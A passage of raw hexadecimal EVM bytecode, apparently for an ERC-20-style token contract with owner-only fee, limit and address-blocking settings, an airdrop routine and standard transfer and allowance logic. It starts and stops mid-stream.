0ff0219169083151502179055506001600d6000600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001600d60003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001600d6000601a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001600e6000601a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001600e60003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001600e6000600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555033601660006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555033601760006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555033601860006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600354600960003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055503373ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef60035460405162000bf791906200137e565b60405180910390a350506200139b565b600081519050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b6000600282049050600182168062000c8957607f821691505b60208210810362000c9f5762000c9e62000c41565b5b50919050565b60008190508160005260206000209050919050565b60006020601f8301049050919050565b600082821b905092915050565b60006008830262000d097fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8262000cca565b62000d15868362000cca565b95508019841693508086168417925050509392505050565b6000819050919050565b6000819050919050565b600062000d6262000d5c62000d568462000d2d565b62000d37565b62000d2d565b9050919050565b6000819050919050565b62000d7e8362000d41565b62000d9662000d8d8262000d69565b84845462000cd7565b825550505050565b600090565b62000dad62000d9e565b62000dba81848462000d73565b505050565b5b8181101562000de25762000dd660008262000da3565b60018101905062000dc0565b5050565b601f82111562000e315762000dfb8162000ca5565b62000e068462000cba565b8101602085101562000e16578190505b62000e2e62000e258562000cba565b83018262000dbf565b50505b505050565b600082821c905092915050565b600062000e566000198460080262000e36565b1980831691505092915050565b600062000e71838362000e43565b9150826002028217905092915050565b62000e8c8262000c07565b67ffffffffffffffff81111562000ea85762000ea762000c12565b5b62000eb4825462000c70565b62000ec182828562000de6565b600060209050601f83116001811462000ef9576000841562000ee4578287015190505b62000ef0858262000e63565b86555062000f60565b601f19841662000f098662000ca5565b60005b8281101562000f335784890151825560018201915060208501945060208101905062000f0c565b8683101562000f53578489015162000f4f601f89168262000e43565b8355505b6001600288020188555050505b505050505050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b60008160011c9050919050565b6000808291508390505b600185111562000ff65780860481111562000fce5762000fcd62000f68565b5b600185161562000fde5780820291505b808102905062000fee8562000f97565b945062000fae565b94509492505050565b600082620010115760019050620010e4565b81620010215760009050620010e4565b81600181146200103a576002811462001045576200107b565b6001915050620010e4565b60ff8411156200105a576200105962000f68565b5b8360020a91508482111562001074576200107362000f68565b5b50620010e4565b5060208310610133831016604e8410600b8410161715620010b55782820a905083811115620010af57620010ae62000f68565b5b620010e4565b620010c4848484600162000fa4565b92509050818404811115620010de57620010dd62000f68565b5b81810290505b9392505050565b600060ff82169050919050565b6000620011058262000d2d565b91506200111283620010eb565b9250620011417fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff848462000fff565b905092915050565b6000620011568262000d2d565b9150620011638362000d2d565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff04831182151516156200119f576200119e62000f68565b5b828202905092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b6000620011e68262000d2d565b9150620011f38362000d2d565b925082620012065762001205620011aa565b5b828204905092915050565b60006200121e8262000d2d565b91506200122b8362000d2d565b925082820190508082111562001246576200124562000f68565b5b92915050565b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b60006200127e8262001251565b9050919050565b620012908162001271565b81146200129c57600080fd5b50565b600081519050620012b08162001285565b92915050565b60008060408385031215620012d057620012cf6200124c565b5b6000620012e0858286016200129f565b9250506020620012f3858286016200129f565b9150509250929050565b6000602082840312156200131657620013156200124c565b5b600062001326848285016200129f565b91505092915050565b6200133a8162001271565b82525050565b60006040820190506200135760008301856200132f565b6200136660208301846200132f565b9392505050565b620013788162000d2d565b82525050565b60006020820190506200139560008301846200136d565b92915050565b615f7280620013ab6000396000f3fe6080604052600436106102cd5760003560e01c80638da5cb5b11610175578063bfe10928116100dc578063ec72d65f11610095578063f2fde38b1161006f578063f2fde38b14610ac9578063f708a64f14610af2578063f84ba65d14610b1b578063f887ea4014610b44576102d4565b8063ec72d65f14610a60578063f11743f614610a89578063f12418a814610aa0576102d4565b8063bfe1092814610950578063ca33e64c1461097b578063d0889358146109a6578063dd62ed3e146109cf578063dff31e7014610a0c578063e96fada214610a35576102d4565b8063a8aa1b311161012e578063a8aa1b3114610840578063a9059cbb1461086b578063a9e4a286146108a8578063acef1a44146108d1578063b1fb11b0146108fc578063b2896bae14610927576102d4565b80638da5cb5b14610744578063954fe43e1461076f57806395d89b41146107985780639d1944f5146107c3578063a16b064e146107ec578063a4b45c0014610817576102d4565b806323b872dd1161023457806370a08231116101ed57806378109e54116101c757806378109e54146106985780637c8b7063146106c35780637d1db4a5146106ec57806388c7cb1214610717576102d4565b806370a0823114610607578063715018a61461064457806372ae04871461065b576102d4565b806323b872dd146104e35780633101191214610520578063313ce5671461054b578063571ac8b014610576578063658d4b7f146105b35780636ddd1713146105dc576102d4565b8063095ea7b311610286578063095ea7b3146103d35780630ca61cb114610410578063180b0d7e1461043957806318160ddd146104645780631df4ccfc1461048f5780632198cf6c146104ba576102d4565b8063012aa912146102d9578063042dbcb9146103025780630445b6671461032b57806304a66b481461035657806306fdde031461037f57806308b3e419146103aa576102d4565b366102d457005b600080fd5b3480156102e557600080fd5b5061030060048036038101906102fb9190614ca9565b610b6f565b005b34801561030e57600080fd5b5061032960048036038101906103249190614d0e565b610c21565b005b34801561033757600080fd5b50610340610ccc565b60405161034d9190614d4a565b60405180910390f35b34801561036257600080fd5b5061037d60048036038101906103789190614d65565b610cd2565b005b34801561038b57600080fd5b50610394610e1b565b6040516103a19190614e70565b60405180910390f35b3480156103b657600080fd5b506103d160048036038101906103cc9190614ef7565b610ead565b005b3480156103df57600080fd5b506103fa60048036038101906103f59190614fb5565b6113e0565b6040516104079190615004565b60405180910390f35b34801561041c57600080fd5b506104376004803603810190610432919061501f565b6114d2565b005b34801561044557600080fd5b5061044e6115f6565b60405161045b9190614d4a565b60405180910390f35b34801561047057600080fd5b506104796115fc565b6040516104869190614d4a565b60405180910390f35b34801561049b57600080fd5b506104a4611606565b6040516104b19190614d4a565b60405180910390f35b3480156104c657600080fd5b506104e160048036038101906104dc9190615072565b61160c565b005b3480156104ef57600080fd5b5061050a600480360381019061050591906150b2565b6116f5565b6040516105179190615004565b60405180910390f35b34801561052c57600080fd5b506105356118f5565b6040516105429190615004565b60405180910390f35b34801561055757600080fd5b50610560611908565b60405161056d9190615121565b60405180910390f35b34801561058257600080fd5b5061059d6004803603810190610598919061513c565b611911565b6040516105aa9190615004565b60405180910390f35b3480156105bf57600080fd5b506105da60048036038101906105d59190615072565b611944565b005b3480156105e857600080fd5b506105f1611a87565b6040516105fe9190615004565b60405180910390f35b34801561061357600080fd5b5061062e6004803603810190610629919061513c565b611a9a565b60405161063b9190614d4a565b60405180910390f35b34801561065057600080fd5b50610659611ae3565b005b34801561066757600080fd5b50610682600480360381019061067d919061513c565b611c2f565b60405161068f9190615004565b60405180910390f35b3480156106a457600080fd5b506106ad611c4f565b6040516106ba9190614d4a565b60405180910390f35b3480156106cf57600080fd5b506106ea60048036038101906106e59190614d0e565b611c55565b005b3480156106f857600080fd5b50610701611d00565b60405161070e9190614d4a565b60405180910390f35b34801561072357600080fd5b5061072c611d06565b60405161073b93929190615169565b60405180910390f35b34801561075057600080fd5b50610759611da7565b60405161076691906151af565b60405180910390f35b34801561077b57600080fd5b50610796600480360381019061079191906151ca565b611dd0565b005b3480156107a457600080fd5b506107ad611f5b565b6040516107ba9190614e70565b60405180910390f35b3480156107cf57600080fd5b506107ea60048036038101906107e59190614ca9565b611fed565b005b3480156107f857600080fd5b50610801612094565b60405161080e9190615004565b60405180910390f35b34801561082357600080fd5b5061083e6004803603810190610839919061522a565b6120a7565b005b34801561084c57600080fd5b5061085561221e565b60405161086291906151af565b60405180910390f35b34801561087757600080fd5b50610892600480360381019061088d9190614fb5565b612244565b60405161089f9190615004565b60405180910390f35b3480156108b457600080fd5b506108cf60048036038101906108ca9190614d0e565b612259565b005b3480156108dd57600080fd5b506108e6612304565b6040516108f39190614d4a565b60405180910390f35b34801561090857600080fd5b5061091161230a565b60405161091e9190615004565b60405180910390f35b34801561093357600080fd5b5061094e60048036038101906109499190614ca9565b61231d565b005b34801561095c57600080fd5b5061096561246c565b60405161097291906152c9565b60405180910390f35b34801561098757600080fd5b50610990612492565b60405161099d91906151af565b60405180910390f35b3480156109b257600080fd5b506109cd60048036038101906109c891906152e4565b6124b8565b005b3480156109db57600080fd5b506109f660048036038101906109f1919061522a565b6125cd565b604051610a039190614d4a565b60405180910390f35b348015610a1857600080fd5b50610a336004803603810190610a2e9190614ca9565b612654565b005b348015610a4157600080fd5b50610a4a6127ce565b604051610a5791906151af565b60405180910390f35b348015610a6c57600080fd5b50610a876004803603810190610a829190614ca9565b6127f4565b005b348015610a9557600080fd5b50610a9e61288c565b005b348015610aac57600080fd5b50610ac76004803603810190610ac29190614ca9565b61294a565b005b348015610ad557600080fd5b50610af06004803603810190610aeb919061513c565b6129fc565b005b348015610afe57600080fd5b50610b196004803603810190610b149190615072565b612bb6565b005b348015610b2757600080fd5b50610b426004803603810190610b3d9190615072565b612ef6565b005b348015610b5057600080fd5b50610b59612fdf565b604051610b669190615358565b60405180910390f35b3373ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610bfd576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610bf4906153bf565b60405180910390fd5b61271081600354610c0e919061540e565b610c189190615497565b60058190555050565b3373ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610caf576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ca6906153bf565b60405180910390fd5b80601a60146101000a81548160ff02191690831515021790555050565b60255481565b3373ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610d60576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d57906153bf565b60405180910390fd5b84600f81905550836010819055508260118190555081601281905550610db5601254610da785610d99888a61300590919063ffffffff16565b61300590919063ffffffff16565b61300590919063ffffffff16565b601381905550806014819055506003601454610dd19190615497565b60135410610e14576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e0b90615514565b60405180910390fd5b5050505050565b606060018054610e2a90615563565b80601f0160208091040260200160405190810160405280929190818152602001828054610e5690615563565b8015610ea35780601f10610e7857610100808354040283529160200191610ea3565b820191906000526020600020905b815481529060010190602001808311610e8657829003601f168201915b5050505050905090565b3373ffffffffffffffffffffffffffffffffffffffff16601760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161480610f5657503373ffffffffffffffffffffffffffffffffffffffff16600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16145b610f95576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f8c906155e0565b60405180910390fd5b6103218383905010610fdc576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610fd390615672565b60405180910390fd5b60008383905082610fed919061540e565b90508061101960008054906101000a900473ffffffffffffffffffffffffffffffffffffffff16611a9a565b101561105a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611051906156de565b60405180910390fd5b60005b8484905081101561125d576110ba60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1686868481811061109f5761109e6156fe565b5b90506020020160208101906110b4919061513c565b85613063565b50600e60008686848181106110d2576110d16156fe565b5b90506020020160208101906110e7919061513c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1661124a57602260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166314b6ca96868684818110611184576111836156fe565b5b9050602002016020810190611199919061513c565b600960008989878181106111b0576111af6156fe565b5b90506020020160208101906111c5919061513c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518363ffffffff1660e01b815260040161121d92919061572d565b600060405180830381600087803b15801561123757600080fd5b505af1925050508015611248575060015b505b808061125590615756565b91505061105d565b50600e60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff166113da57602260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166314b6ca9660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff16600960008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518363ffffffff1660e01b81526004016113ad92919061572d565b600060405180830381600087803b1580156113c757600080fd5b505af19250505080156113d8575060015b505b50505050565b600081600a60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040516114c09190614d4a565b60405180910390a36001905092915050565b3373ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611560576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611557906153bf565b60405180910390fd5b602260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16630ca61cb18484846040518463ffffffff1660e01b81526004016115bf93929190615169565b600060405180830381600087803b1580156115d957600080fd5b505af11580156115ed573d6000803e3d6000fd5b50505050505050565b60145481565b6000600354905090565b60135481565b3373ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461169a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611691906153bf565b60405180910390fd5b80600d60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505050565b60007fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff600a60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054146118e157611860826040518060400160405280601681526020017f496e73756666696369656e7420416c6c6f77616e636500000000000000000000815250600a60008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546132369092919063ffffffff16565b600a60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b6118ec84848461329a565b90509392505050565b601f60009054906101000a900460ff1681565b60006012905090565b600061193d827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6113e0565b9050919050565b3373ffffffffffffffffffffffffffffffffffffffff16601760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614806119ed57503373ffffffffffffffffffffffffffffffffffffffff16600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16145b611a2c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611a23906155e0565b60405180910390fd5b80600b60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505050565b602460009054906101000a900460ff1681565b6000600960008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b3373ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611b71576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611b68906153bf565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b601b6020528060005260406000206000915054906101000a900460ff1681565b60055481565b3373ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611ce3576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611cda906153bf565b60405180910390fd5b80601c60006101000a81548160ff02191690831515021790555050565b60045481565b6000806000602260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166388c7cb126040518163ffffffff1660e01b8152600401606060405180830381865afa158015611d78573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611d9c91906157b3565b925092509250909192565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b3373ffffffffffffffffffffffffffffffffffffffff16601760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161480611e7957503373ffffffffffffffffffffffffffffffffffffffff16600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16145b611eb8576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611eaf906155e0565b60405180910390fd5b60005b83839050811015611f555781601b6000868685818110611ede57611edd6156fe565b5b9050602002016020810190611ef3919061513c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555080611f4e90615756565b9050611ebb565b50505050565b606060028054611f6a90615563565b80601f0160208091040260200160405190810160405280929190818152602001828054611f9690615563565b8015611fe35780601f10611fb857610100808354040283529160200191611fe3565b820191906000526020600020905b815481529060010190602001808311611fc657829003601f168201915b5050505050905090565b3373ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461207b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612072906153bf565b60405180910390fd5b620493e0811061208a57600080fd5b8060238190555050565b601c60009054906101000a900460ff1681565b3373ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614612135576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161212c906153bf565b60405180910390fd5b81601660006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555080601760006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16601860006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505050565b601a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600061225133848461329a565b905092915050565b3373ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146122e7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016122de906153bf565b60405180910390fd5b80601f60006101000a81548160ff02191690831515021790555050565b60265481565b601a60149054906101000a900460ff1681565b3373ffffffffffffffffffffffffffffffffffffffff16601760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614806123c657503373ffffffffffffffffffffffffffffffffffffffff16600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16145b612405576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016123fc906155e0565b60405180910390fd5b60004790503373ffffffffffffffffffffffffffffffffffffffff166108fc60648484612432919061540e565b61243c9190615497565b9081150290604051600060405180830381858888f19350505050158015612467573d6000803e3d6000fd5b505050565b602260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b3373ffffffffffffffffffffffffffffffffffffffff16601760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16148061256157503373ffffffffffffffffffffffffffffffffffffffff16600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16145b6125a0576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612597906155e0565b60405180910390fd5b82602460006101000a81548160ff0219169083151502179055508160258190555080602681905550505050565b6000600a60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b3373ffffffffffffffffffffffffffffffffffffffff16601760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614806126fd57503373ffffffffffffffffffffffffffffffffffffffff16600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16145b61273c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612733906155e0565b60405180910390fd5b602260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166307e2f86e33836040518363ffffffff1660e01b815260040161279992919061572d565b600060405180830381600087803b1580156127b357600080fd5b505af11580156127c7573d6000803e3d6000fd5b5050505050565b601760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b3373ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614612882576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612879906153bf565b60405180910390fd5b8060158190555050565b3373ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461291a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612911906153bf565b60405180910390fd5b6000601d5403612937574260208190555043601d81905550612948565b60006020819055506000601d819055505b565b3373ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146129d8576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016129cf906153bf565b60405180910390fd5b612710816003546129e9919061540e565b6129f39190615497565b60048190555050565b3373ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614612a8a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612a81906153bf565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1603612af9576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612af090615852565b60405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b3373ffffffffffffffffffffffffffffffffffffffff16601760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161480612c5f57503373ffffffffffffffffffffffffffffffffffffffff16600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16145b612c9e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612c95906155e0565b60405180910390fd5b3073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614158015612d285750601a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b612d3157600080fd5b80600e60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508015612e2357602260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166314b6ca968360006040518363ffffffff1660e01b8152600401612dec9291906158ad565b600060405180830381600087803b158015612e0657600080fd5b505af1158015612e1a573d6000803e3d6000fd5b50505050612ef2565b602260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166314b6ca9683600960008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518363ffffffff1660e01b8152600401612ebf92919061572d565b600060405180830381600087803b158015612ed957600080fd5b505af1158015612eed573d6000803e3d6000fd5b505050505b5050565b3373ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614612f84576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612f7b906153bf565b60405180910390fd5b80600c60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505050565b601960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600080828461301491906158d6565b905083811015613059576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161305090615956565b60405180910390fd5b8091505092915050565b60006130ee826040518060400160405280601481526020017f496e73756666696369656e742042616c616e6365000000000000000000000000815250600960008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546132369092919063ffffffff16565b600960008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061318382600960008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461300590919063ffffffff16565b600960008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516132239190614d4a565b60405180910390a3600190509392505050565b600083831115829061327e576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016132759190614e70565b60405180910390fd5b506000838561328d9190615976565b9050809150509392505050565b6000602760009054906101000a900460ff16156132c3576132bc848484613063565b9050613e28565b601a60149054906101000a900460ff161561336657601b60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615613365576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161335c906159f6565b60405180910390fd5b5b600b60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615801561340a5750600b60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b15613455576000601d5411613454576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161344b90615a62565b60405180910390fd5b5b601a60009054